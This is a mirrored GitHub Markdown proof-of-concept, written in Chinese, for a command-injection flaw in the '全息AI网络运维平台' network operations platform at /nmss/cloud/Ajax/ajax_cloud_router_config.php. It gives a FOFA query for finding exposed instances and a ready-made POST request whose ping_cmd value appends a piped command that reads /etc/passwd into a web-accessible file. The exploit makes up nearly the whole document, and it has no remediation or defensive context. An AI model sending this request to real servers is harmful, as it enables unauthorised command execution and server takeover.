mirror of
https://github.com/eeeeeeeeee-code/POC.git
synced 2025-11-05 02:15:30 +00:00
20 lines
497 B
Markdown
20 lines
497 B
Markdown
# 全息AI网络运维平台ajax_cloud_router_config.php存在命令执行漏洞
|
||
|
||
全息AI网络运维平台 接口 /nmss/cloud/Ajax/ajax_cloud_router_config.php 存在命令执行漏洞，导致服务器沦陷。
|
||
|
||
## fofa
|
||
|
||
```yaml
|
||
"全息AI网络运维平台"
|
||
```
|
||
|
||
## poc
|
||
|
||
```yaml
|
||
POST /nmss/cloud/Ajax/ajax_cloud_router_config.php HTTP/1.1
|
||
host：127.0.0.1
|
||
|
||
ping_cmd=8.8.8.8|cat /etc/passwd>1.txt
|
||
```
|
||
|
||
 |